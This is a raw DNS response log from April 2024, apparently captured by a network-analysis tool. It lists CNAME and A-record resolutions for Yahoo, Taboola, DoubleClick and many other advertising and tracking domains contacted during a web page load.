Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		52.32.152.242	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		52.32.101.209	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.681754112 CEST	1.1.1.1	192.168.2.4	0xd703	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.681754112 CEST	1.1.1.1	192.168.2.4	0xd703	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.681754112 CEST	1.1.1.1	192.168.2.4	0xd703	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.681754112 CEST	1.1.1.1	192.168.2.4	0xd703	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.681754112 CEST	1.1.1.1	192.168.2.4	0xd703	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.694457054 CEST	1.1.1.1	192.168.2.4	0x7c47	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.694457054 CEST	1.1.1.1	192.168.2.4	0x7c47	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.694457054 CEST	1.1.1.1	192.168.2.4	0x7c47	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:53.502368927 CEST	1.1.1.1	192.168.2.4	0xa085	No error (0)	pa.ybp.yahoo.com	d9z32kqpe67oo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:53.502368927 CEST	1.1.1.1	192.168.2.4	0xa085	No error (0)	d9z32kqpe67oo.cloudfront.net		3.162.125.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.502368927 CEST	1.1.1.1	192.168.2.4	0xa085	No error (0)	d9z32kqpe67oo.cloudfront.net		3.162.125.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.502368927 CEST	1.1.1.1	192.168.2.4	0xa085	No error (0)	d9z32kqpe67oo.cloudfront.net		3.162.125.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.502368927 CEST	1.1.1.1	192.168.2.4	0xa085	No error (0)	d9z32kqpe67oo.cloudfront.net		3.162.125.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.503299952 CEST	1.1.1.1	192.168.2.4	0xa61c	No error (0)	pa.ybp.yahoo.com	d9z32kqpe67oo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:53.576884031 CEST	1.1.1.1	192.168.2.4	0xc100	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:53.576884031 CEST	1.1.1.1	192.168.2.4	0xc100	No error (0)	securepubads46.g.doubleclick.net		142.251.16.157	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.576884031 CEST	1.1.1.1	192.168.2.4	0xc100	No error (0)	securepubads46.g.doubleclick.net		142.251.16.156	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.577075958 CEST	1.1.1.1	192.168.2.4	0xbc5e	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:53.623941898 CEST	1.1.1.1	192.168.2.4	0x906b	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:53.623941898 CEST	1.1.1.1	192.168.2.4	0x906b	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.623941898 CEST	1.1.1.1	192.168.2.4	0x906b	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.625163078 CEST	1.1.1.1	192.168.2.4	0x6bd8	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:54.276629925 CEST	1.1.1.1	192.168.2.4	0x3e02	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:54.276629925 CEST	1.1.1.1	192.168.2.4	0x3e02	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.276629925 CEST	1.1.1.1	192.168.2.4	0x3e02	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.276629925 CEST	1.1.1.1	192.168.2.4	0x3e02	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.276629925 CEST	1.1.1.1	192.168.2.4	0x3e02	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.279266119 CEST	1.1.1.1	192.168.2.4	0xc79f	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:55.050116062 CEST	1.1.1.1	192.168.2.4	0x27d6	No error (0)	tsdtocl.com		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.050116062 CEST	1.1.1.1	192.168.2.4	0x27d6	No error (0)	tsdtocl.com		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.050116062 CEST	1.1.1.1	192.168.2.4	0x27d6	No error (0)	tsdtocl.com		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.050116062 CEST	1.1.1.1	192.168.2.4	0x27d6	No error (0)	tsdtocl.com		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.091238976 CEST	1.1.1.1	192.168.2.4	0xd4f	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:55.091404915 CEST	1.1.1.1	192.168.2.4	0x6f4e	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:55.091404915 CEST	1.1.1.1	192.168.2.4	0x6f4e	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.091404915 CEST	1.1.1.1	192.168.2.4	0x6f4e	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.091404915 CEST	1.1.1.1	192.168.2.4	0x6f4e	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.091404915 CEST	1.1.1.1	192.168.2.4	0x6f4e	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.417007923 CEST	1.1.1.1	192.168.2.4	0xb8a1	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:55.417007923 CEST	1.1.1.1	192.168.2.4	0xb8a1	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.417007923 CEST	1.1.1.1	192.168.2.4	0xb8a1	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.418732882 CEST	1.1.1.1	192.168.2.4	0x7cf5	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:57.213665009 CEST	1.1.1.1	192.168.2.4	0xcbe	No error (0)	sb.scorecardresearch.com		3.162.112.116	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:57.213665009 CEST	1.1.1.1	192.168.2.4	0xcbe	No error (0)	sb.scorecardresearch.com		3.162.112.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:57.213665009 CEST	1.1.1.1	192.168.2.4	0xcbe	No error (0)	sb.scorecardresearch.com		3.162.112.60	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:57.213665009 CEST	1.1.1.1	192.168.2.4	0xcbe	No error (0)	sb.scorecardresearch.com		3.162.112.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.752268076 CEST	1.1.1.1	192.168.2.4	0x135c	No error (0)	i.clean.gg		34.95.69.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.790545940 CEST	1.1.1.1	192.168.2.4	0x748f	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791342020 CEST	1.1.1.1	192.168.2.4	0x9058	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791342020 CEST	1.1.1.1	192.168.2.4	0x9058	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791342020 CEST	1.1.1.1	192.168.2.4	0x9058	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791342020 CEST	1.1.1.1	192.168.2.4	0x9058	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791342020 CEST	1.1.1.1	192.168.2.4	0x9058	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791368961 CEST	1.1.1.1	192.168.2.4	0xeea6	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.206.98.23	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.203.198.71	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.215.173.78	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.207.195.237	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.210.17.65	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.208.48.255	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.215.223.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.791697025 CEST	1.1.1.1	192.168.2.4	0xf091	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.206.37.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792000055 CEST	1.1.1.1	192.168.2.4	0x187a	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792608023 CEST	1.1.1.1	192.168.2.4	0xef85	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792608023 CEST	1.1.1.1	192.168.2.4	0xef85	No error (0)	gslb-2.demdex.net	edge-usw2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792608023 CEST	1.1.1.1	192.168.2.4	0xef85	No error (0)	edge-usw2.demdex.net	dcs-public-edge-usw2-219535174.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792819977 CEST	1.1.1.1	192.168.2.4	0x11ac	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792819977 CEST	1.1.1.1	192.168.2.4	0x11ac	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.110	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792819977 CEST	1.1.1.1	192.168.2.4	0x11ac	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.118	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792819977 CEST	1.1.1.1	192.168.2.4	0x11ac	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.128	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.792819977 CEST	1.1.1.1	192.168.2.4	0x11ac	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.793451071 CEST	1.1.1.1	192.168.2.4	0xc826	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.793451071 CEST	1.1.1.1	192.168.2.4	0xc826	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.793493032 CEST	1.1.1.1	192.168.2.4	0x9f06	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:58.794251919 CEST	1.1.1.1	192.168.2.4	0xf4ca	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016385078 CEST	1.1.1.1	192.168.2.4	0x242e	No error (0)	idx.liadm.com	idx.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.liadm.com	idx.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		44.218.166.165	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		3.218.246.210	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		3.212.155.45	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		52.20.91.175	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		52.71.150.146	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		3.227.41.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		3.212.94.212	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.016639948 CEST	1.1.1.1	192.168.2.4	0x9db2	No error (0)	idx.cph.liveintent.com		50.17.64.189	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.333031893 CEST	1.1.1.1	192.168.2.4	0x5876	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.333031893 CEST	1.1.1.1	192.168.2.4	0x5876	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.333031893 CEST	1.1.1.1	192.168.2.4	0x5876	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.333072901 CEST	1.1.1.1	192.168.2.4	0xd313	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.343096972 CEST	1.1.1.1	192.168.2.4	0x4f2d	No error (0)	display.bidder.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.343096972 CEST	1.1.1.1	192.168.2.4	0x4f2d	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.343096972 CEST	1.1.1.1	192.168.2.4	0x4f2d	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.343096972 CEST	1.1.1.1	192.168.2.4	0x4f2d	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.343096972 CEST	1.1.1.1	192.168.2.4	0x4f2d	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.344284058 CEST	1.1.1.1	192.168.2.4	0x5dd7	No error (0)	display.bidder.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.348582029 CEST	1.1.1.1	192.168.2.4	0x67f7	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.348582029 CEST	1.1.1.1	192.168.2.4	0x67f7	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.348948956 CEST	1.1.1.1	192.168.2.4	0xbb15	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		35.169.22.169	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		44.197.224.81	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.157.121.109	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.211.225.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		52.207.2.19	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		100.25.210.215	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		50.17.192.236	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.353557110 CEST	1.1.1.1	192.168.2.4	0xb5b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.224.162.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.354410887 CEST	1.1.1.1	192.168.2.4	0x9cf1	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.354410887 CEST	1.1.1.1	192.168.2.4	0x9cf1	No error (0)	rw.yieldmo.com	us-west-2.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.354410887 CEST	1.1.1.1	192.168.2.4	0x9cf1	No error (0)	us-west-2.world.rw.yieldmo.com	rw-yieldmo-com-1857737650.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356551886 CEST	1.1.1.1	192.168.2.4	0xed1f	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356941938 CEST	1.1.1.1	192.168.2.4	0x206	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356941938 CEST	1.1.1.1	192.168.2.4	0x206	No error (0)	us-east-tlx.3lift.com		3.233.167.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356941938 CEST	1.1.1.1	192.168.2.4	0x206	No error (0)	us-east-tlx.3lift.com		54.158.18.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356941938 CEST	1.1.1.1	192.168.2.4	0x206	No error (0)	us-east-tlx.3lift.com		3.208.175.5	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356941938 CEST	1.1.1.1	192.168.2.4	0x206	No error (0)	us-east-tlx.3lift.com		3.226.121.246	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.356941938 CEST	1.1.1.1	192.168.2.4	0x206	No error (0)	us-east-tlx.3lift.com		34.192.42.219	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.361706972 CEST	1.1.1.1	192.168.2.4	0xfec7	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.361706972 CEST	1.1.1.1	192.168.2.4	0xfec7	No error (0)	hbprebid-v3.pubmnet.com	gob-pairb-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.361706972 CEST	1.1.1.1	192.168.2.4	0xfec7	No error (0)	gob-pairb-nje1.pubmnet.com		207.65.37.179	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.362257957 CEST	1.1.1.1	192.168.2.4	0x41fb	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.362257957 CEST	1.1.1.1	192.168.2.4	0x41fb	No error (0)	hbprebid-v3.pubmnet.com	gob-pairb-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.370573997 CEST	1.1.1.1	192.168.2.4	0xa98d	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.370573997 CEST	1.1.1.1	192.168.2.4	0xa98d	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.370573997 CEST	1.1.1.1	192.168.2.4	0xa98d	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		34.236.83.94	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		3.230.217.116	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		52.4.33.45	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.371057987 CEST	1.1.1.1	192.168.2.4	0x650	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		3.92.156.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.377091885 CEST	1.1.1.1	192.168.2.4	0xbb59	No error (0)	prebid.media.net		34.120.63.153	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.384309053 CEST	1.1.1.1	192.168.2.4	0x2e58	No error (0)	bidder.criteo.com	bidder.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.389832020 CEST	1.1.1.1	192.168.2.4	0xceb	No error (0)	bidder.criteo.com	bidder.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.389832020 CEST	1.1.1.1	192.168.2.4	0xceb	No error (0)	bidder.us5.vip.prod.criteo.com		74.119.117.6	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.393676996 CEST	1.1.1.1	192.168.2.4	0x2736	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.393676996 CEST	1.1.1.1	192.168.2.4	0x2736	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.395085096 CEST	1.1.1.1	192.168.2.4	0x8c07	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
